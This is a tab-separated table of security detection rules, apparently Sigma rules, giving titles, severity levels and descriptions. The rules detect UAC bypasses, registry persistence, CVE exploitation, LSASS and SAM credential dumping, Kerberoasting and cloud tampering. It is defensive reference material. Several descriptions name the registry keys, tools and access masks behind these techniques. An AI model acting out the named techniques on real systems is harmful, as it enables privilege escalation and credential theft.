Shell Open Registry Keys Manipulation	high	Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)
Sticky Key Like Backdoor Usage - Registry	critical	Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
Bypass UAC Using DelegateExecute	high	Bypasses User Account Control using a fileless method
Bypass UAC Using SilentCleanup Task	high	Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.
Potential CobaltStrike Service Installations - Registry	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.
COM Hijack via Sdclt	high	Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'
Enabling COR Profiler Environment Variables	medium	Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.
Potential Persistence Via GlobalFlags	high	Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys
ServiceDll Hijack	medium	Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.
Suspicious Printer Driver Empty Manufacturer	high	Detects a suspicious printer driver installation with an empty Manufacturer value
Modify User Shell Folders Startup Value	high	Detect modification of the startup key to a path where a payload could be stored to be launched during startup
New TimeProviders Registered With Uncommon DLL Name	high	Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.
UAC Bypass via Event Viewer	high	Detects UAC bypass method using Windows event viewer
UAC Bypass via Sdclt	high	Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)
UAC Bypass Abusing Winsat Path Parsing - Registry	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - Registry	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
UAC Disabled	medium	Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0.
UAC Notification Disabled	medium	Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.
UAC Secure Desktop Prompt Disabled	medium	Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.
Malware Shellcode in Verclsid Target Process	high	Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro
Potential BearLPE Exploitation	high	Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par
Exploiting SetupComplete.cmd CVE-2019-1378	high	Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378
Exploiting CVE-2019-1388	critical	Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM
Potential Dridex Activity	critical	Detects potential Dridex acitvity via specific process patterns
Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection	critical	Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .
CVE-2021-1675 Print Spooler Exploitation Filename Pattern	critical	Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675
InstallerFileTakeOver LPE CVE-2021-41379 File Create Event	critical	Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file
Potential CVE-2021-41379 Exploitation Attempt	critical	Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights
Suspicious RazerInstaller Explorer Subprocess	high	Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM
Potential SystemNightmare Exploitation Attempt	critical	Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM
Moriya Rootkit File Created	critical	Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.
APT PRIVATELOG Image Load Pattern	high	Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances
SOURGUM Actor Behaviours	high	Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM
Potential CVE-2023-21554 QueueJumper Exploitation	high	Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)
CVE-2022-24527 Microsoft Connected Cache LPE	high	Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache
Suspicious Sysmon as Execution Parent	high	Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)
Exploitation Indicators Of CVE-2023-20198	high	Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.
Diamond Sleet APT Scheduled Task Creation	critical	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability
Lazarus APT DLL Sideloading Activity	high	Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection	high	Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.
Kapeka Backdoor Scheduled Task Creation	high	Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.
Potential Raspberry Robin Aclui Dll SideLoading	high	Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.
Privilege Role Elevation Not Occuring on SAW or PAW	high	Detects failed sign-in from a PAW or SAW device
Potential Zerologon (CVE-2020-1472) Exploitation	high	Detects potential Netlogon Elevation of Privilege Vulnerability aka Zerologon (CVE-2020-1472)
Scheduled Task Deletion	low	Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME
Potential Remote WMI ActiveScriptEventConsumers Activity	medium	Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity.
Scheduled Task Created - FileCreation	low	Detects the creation of a scheduled task via file creation.
Potential Shellcode Injection	medium	Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject.
Elevated System Shell Spawned	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
Scheduled Task Created - Registry	low	Detects the creation of a scheduled task via Registry keys.
AWS Lambda Function Created or Invoked	low	Detects when an user creates or invokes a lambda function.
CVE-2021-3156 Exploitation Attempt	high	Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing required to trigger the heap-based buffer overflow.
CVE-2021-3156 Exploitation Attempt Bruteforcing	high	Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing. required to trigger the heap-based buffer overflow.
Potential CVE-2021-4034 Exploitation Attempt	high	Detects exploitation attempt of the vulnerability described in CVE-2021-4034.
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
Meterpreter or Cobalt Strike Getsystem Service Installation	critical	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation
MSI Spawned Cmd and Powershell Spawned Processes	high	This rule looks for Windows Installer service (msiexec.exe) spawning command line and/or powershell that spawns other processes
Always Install Elevated Parent Child Correlated	high	This rule will looks any process with low privilege launching Windows Installer service (msiexec.exe) that tries to install MSI packages with SYSTEM privilege
Windows Kernel and 3rd-Party Drivers Exploits Token Stealing	high	Detection of child processes spawned with SYSTEM privileges by parents with non-SYSTEM privileges and Medium integrity level
Malicious Service Installations	critical	Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.
Detection of Possible Rotten Potato	high	Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE privileges
Rare Schtasks Creations	low	Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code
Password Spraying via Explicit Credentials	medium	Detects a single user failing to authenticate to multiple users using explicit credentials.
Multiple Users Failing to Authenticate from Single Process	medium	Detects failed logins with multiple accounts from a single process on the system.
Failed Logins with Different Accounts from Single Source System	medium	Detects suspicious failed logins with different user accounts from a single source system
Failed NTLM Logins with Different Accounts from Single Source System	medium	Detects suspicious failed logins with different user accounts from a single source system
Valid Users Failing to Authenticate From Single Source Using Kerberos	medium	Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.
Disabled Users Failing To Authenticate From Source Using Kerberos	medium	Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.
Invalid Users Failing To Authenticate From Source Using Kerberos	medium	Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.
Valid Users Failing to Authenticate from Single Source Using NTLM	medium	Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.
Invalid Users Failing To Authenticate From Single Source Using NTLM	medium	Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.
Multiple Users Remotely Failing To Authenticate From Single Source	medium	Detects a source system failing to authenticate against a remote host with multiple users.
Rare Service Installations	low	Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services

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Title	Level	Description
Brute Force	medium	Detects many authentication failures from one source to one destination which is may indicate Brute Force activity
iOS Implant URL Pattern	critical	Detects URL pattern used by iOS Implant
Credential Dumping Tools Service Execution	critical	Detects well-known credential dumping tools execution via service execution events
Suspicious File Event With Teams Objects	high	Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.
Suspicious Unattend.xml File Access	medium	Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process
CrackMapExec File Creation Patterns	high	Detects suspicious file creation patterns found in logs when CrackMapExec is used
LSASS Memory Dump File Creation	high	LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified
CreateMiniDump Hacktool	high	Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine
Mimikatz MemSSP Default Log File Creation	critical	Detects Mimikatz MemSSP default log file creation
Accessing Encrypted Credentials from Google Chrome Login Database	medium	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.
Credential Dumping by LaZagne	critical	Detects LSASS process access by LaZagne for credential dumping.
Credential Dumping Tools Accessing LSASS Memory	high	Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools
Credential Dumping by Pypykatz	critical	Detects LSASS process access by pypykatz for credential dumping.
CrackMapExecWin	critical	Detects CrackMapExecWin Activity as Described by NCSC
GALLIUM Artefacts	high	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.
Credential Acquisition via Registry Hive Dumping	high	Detects Credential Acquisition via Registry Hive Dumping
Registry Dump of SAM Creds and Secrets	high	Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored
Accessing WinAPI in PowerShell for Credentials Dumping	high	Detects Accessing to lsass.exe by Powershell
Mimikatz Detection LSASS Access	high	Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION "only old versions", 0x0010 PROCESS_VM_READ)
Activity Related to NTDS.dit Domain Hash Retrieval	high	Detects suspicious commands that could be related to activity that uses volume shadow copy to steal and retrieve hashes from the NTDS.dit file remotely
SAM Dump to AppData	high	Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers
Kubernetes Admission Controller Modification	medium	Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.
Kubernetes Secrets Modified or Deleted	medium	Detects when Kubernetes Secrets are Modified or Deleted.
OpenCanary - MSSQL Login Attempt Via SQLAuth	high	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.
OpenCanary - MSSQL Login Attempt Via Windows Authentication	high	Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.
OpenCanary - MySQL Login Attempt	high	Detects instances where a MySQL service on an OpenCanary node has had a login attempt.
OpenCanary - REDIS Action Command Attempt	high	Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.
Antivirus Password Dumper Detection	critical	Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
AWS Route 53 Domain Transfer Lock Disabled	low	Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.
AWS Route 53 Domain Transferred to Another Account	low	Detects when a request has been made to transfer a Route 53 domain to another AWS account.
Azure Keyvault Key Modified or Deleted	medium	Identifies when a Keyvault Key is modified or deleted in Azure.
Azure Key Vault Modified or Deleted	medium	Identifies when a key vault is modified or deleted.
Azure Keyvault Secrets Modified or Deleted	medium	Identifies when secrets are modified or deleted in Azure.
Azure Kubernetes Admission Controller	medium	Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.
Azure Kubernetes Network Policy Change	medium	Identifies when a Azure Kubernetes network policy is modified or deleted.
Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted	medium	Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.
Application AppID Uri Configuration Changes	high	Detects when a configuration change is made to an applications AppID URI.
Delegated Permissions Granted For All Users	high	Detects when highly privileged delegated permissions are granted on behalf of all users
End User Consent	low	Detects when an end user consents to an application
End User Consent Blocked	medium	Detects when end user consent is blocked due to risk-based consent.
Added Owner To Application	medium	Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.
App Granted Microsoft Permissions	high	Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD
Application URI Configuration Changes	high	Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.
Change to Authentication Method	medium	Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.
Multi Factor Authentication Disabled For User Account	medium	Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.
Password Reset By User Account	medium	Detect when a user has reset their password in Azure AD
Anomalous Token	high	Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.
Anonymous IP Address	high	Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.
Password Spray Activity	high	Indicates that a password spray attack has been successfully performed.
Primary Refresh Token Access Attempt	high	Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft
SAML Token Issuer Anomaly	high	Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns
Account Lockout	medium	Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.
Successful Authentications From Countries You Do Not Operate Out Of	medium	Detect successful authentications from countries you do not operate out of.
Failed Authentications From Countries You Do Not Operate Out Of	low	Detect failed authentications from countries you do not operate out of.
Azure AD Only Single Factor Authentication Required	low	Detect when users are authenticating without MFA being required.
Potential MFA Bypass Using Legacy Client Authentication	high	Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.
Sign-in Failure Due to Conditional Access Requirements Not Met	high	Define a baseline threshold for failed sign-ins due to Conditional Access failures
Use of Legacy Authentication Protocols	high	Alert on when legacy authentication has been used on an account
Multifactor Authentication Denied	medium	User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.
Multifactor Authentication Interrupted	medium	Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.
User Access Blocked by Azure Conditional Access	medium	Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.
Bitbucket User Login Failure	medium	Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.
Cisco Duo Successful MFA Authentication Via Bypass Code	medium	Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.
Google Cloud Kubernetes Admission Controller	medium	Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.
Google Cloud Kubernetes RoleBinding	medium	Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.
Google Cloud Kubernetes Secrets Modified or Deleted	medium	Identifies when the Secrets are Modified or Deleted.
Github High Risk Configuration Disabled	high	Detects when a user disables a critical security feature for an organization.
Okta Admin Functions Access Through Proxy	medium	Detects access to Okta admin functions through proxy.
Okta MFA Reset or Deactivated	medium	Detects when an attempt at deactivating or resetting MFA.
Potential Okta Password in AlternateID Field	high	Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.
New Okta User Created	informational	Detects new user account creation
Cleartext Protocol Usage Via Netflow	low	Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.
Credentials In Files - Linux	high	Detecting attempts to extract passwords with grep
Linux Keylogging with Pam.d	high	Detect attempt to enable auditing of TTY input
Network Sniffing - Linux	low	Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Suspicious History File Operations - Linux	medium	Detects commandline operations on shell history files
Guacamole Two Users Sharing Session Anomaly	high	Detects suspicious session with two users present
Copy Passwd Or Shadow From TMP Path	high	Detects when the file "passwd" or "shadow" is copied from tmp path
Mount Execution With Hidepid Parameter	medium	Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system
Linux Recon Indicators	high	Detects events with patterns found in commands used for reconnaissance on linux systems
Credentials from Password Stores - Keychain	medium	Detects passwords dumps from Keychain
Credentials In Files	high	Detecting attempts to extract passwords with grep and laZagne
GUI Input Capture - macOS	low	Detects attempts to use system dialog prompts to capture user credentials
Network Sniffing - MacOs	informational	Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Suspicious History File Operations	medium	Detects commandline operations on shell history files
Cisco Collect Data	low	Collect pertinent data from the configuration files
Cisco Crypto Commands	high	Show when private keys are being exported from the device, or when new certificates are installed
Cisco Show Commands Input	medium	See what commands are being input into the device by other people, full credentials can be in the history
Cisco Sniffing	medium	Show when a monitor or a span/rspan is setup or modified
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
Cleartext Protocol Usage	low	Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
Possible Impacket SecretDump Remote Activity - Zeek	high	Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml
Transferring Files with Credential Data via Network Shares - Zeek	medium	Transferring files with well-known filenames (sensitive files with credential data) using network shares
Kerberos Network Traffic RC4 Ticket Encryption	medium	Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting
Suspicious Network Communication With IPFS	low	Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.
Hack Tool User Agent	high	Detects suspicious user agent strings user by hack tools in proxy logs
Mimikatz Use	high	This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)
Potential Credential Dumping Via WER - Application	high	Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential
Ntdsutil Abuse	medium	Detects potential abuse of ntdsutil to dump ntds.dit database
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
MSSQL Server Failed Logon	low	Detects failed logon attempts from clients to MSSQL server.
MSSQL Server Failed Logon From External Network	medium	Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.
Certificate Private Key Acquired	medium	Detects when an application acquires a certificate private key
Certificate Exported From Local Certificate Store	medium	Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.
Standard User In High Privileged Group	medium	Detect standard users login that are part of high privileged groups such as the Administrator group
NTLM Brute Force	medium	Detects common NTLM brute force device names
ADCS Certificate Template Configuration Vulnerability	low	Detects certificate creation with template allowing risk permission subject
ADCS Certificate Template Configuration Vulnerability with Risky EKU	high	Detects certificate creation with template allowing risk permission subject and risky EKU
Active Directory Replication from Non Machine Account	critical	Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.
Mimikatz DC Sync	high	Detects Mimikatz DC sync security events
DPAPI Domain Backup Key Extraction	high	Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers
DPAPI Domain Master Key Backup Attempt	medium	Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.
Possible Impacket SecretDump Remote Activity	high	Detect AD credential dumping using impacket secretdump HKTL
Kerberoasting Activity - Initial Query	medium	This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.
LSASS Access From Non System Account	medium	Detects potential mimikatz-like tools accessing LSASS from non system account
Credential Dumping Tools Service Execution - Security	high	Detects well-known credential dumping tools execution via service execution events
WCE wceaux.dll Access	critical	Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host
Windows Pcap Drivers	medium	Detects Windows Pcap driver installation based on a list of associated .sys files.
Possible PetitPotam Coerce Authentication Attempt	high	Detect PetitPotam coerced authentication activity.
PetitPotam Suspicious Kerberos TGT Request	high	Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.
Possible DC Shadow Attack	medium	Detects DCShadow via create new SPN
Register new Logon Process by Rubeus	high	Detects potential use of Rubeus via registered new trusted logon process
Replay Attack Detected	high	Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client
SAM Registry Hive Handle Request	high	Detects handles requested to SAM registry hive
Kerberos Manipulation	high	Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.
Password Dumper Activity on LSASS	high	Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN
Potentially Suspicious AccessMask Requested From LSASS	medium	Detects process handle on LSASS process with certain access mask
Possible Shadow Credentials Added	high	Detects possible addition of shadow credentials to an active directory object.
Suspicious Kerberos RC4 Ticket Encryption	medium	Detects service ticket requests using RC4 encryption type
Suspicious Teams Application Related ObjectAcess Event	high	Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.
Transferring Files with Credential Data via Network Shares	medium	Transferring files with well-known filenames (sensitive files with credential data) using network shares
VSSAudit Security Event Source Registration	informational	Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.
External Remote RDP Logon from Public IP	medium	Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.
External Remote SMB Logon from Public IP	high	Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.
Potential Privilege Escalation via Local Kerberos Relay over LDAP	high	Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.
RottenPotato Like Attack Pattern	high	Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like
Suspicious Rejected SMB Guest Logon From IP	medium	Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service
Active Directory Certificate Services Denied Certificate Enrollment Request	low	Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures.
Potential CVE-2021-42287 Exploitation Attempt	medium	The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.
No Suitable Encryption Key Found For Generating Kerberos Ticket	low	Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.
Critical Hive In Suspicious Location Access Bits Cleared	high	Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.
Volume Shadow Copy Mount	low	Detects volume shadow copy mount via Windows event log
Credential Dumping Tools Service Execution - System	high	Detects well-known credential dumping tools execution via service execution events
LSASS Access Detected via Attack Surface Reduction	high	Detects Access to LSASS Process
Remote Thread Created In KeePass.EXE	high	Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity
Remote Thread Creation In Mstsc.Exe From Suspicious Location	high	Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.
Potential Credential Dumping Attempt Via PowerShell Remote Thread	high	Detects remote thread creation by PowerShell processes into "lsass.exe"
Password Dumper Remote Thread in LSASS	high	Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.
Credential Manager Access By Uncommon Applications	medium	Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function
Access To Crypto Currency Wallets By Uncommon Applications	medium	Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing.
Access To Windows Credential History File By Uncommon Applications	medium	Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function
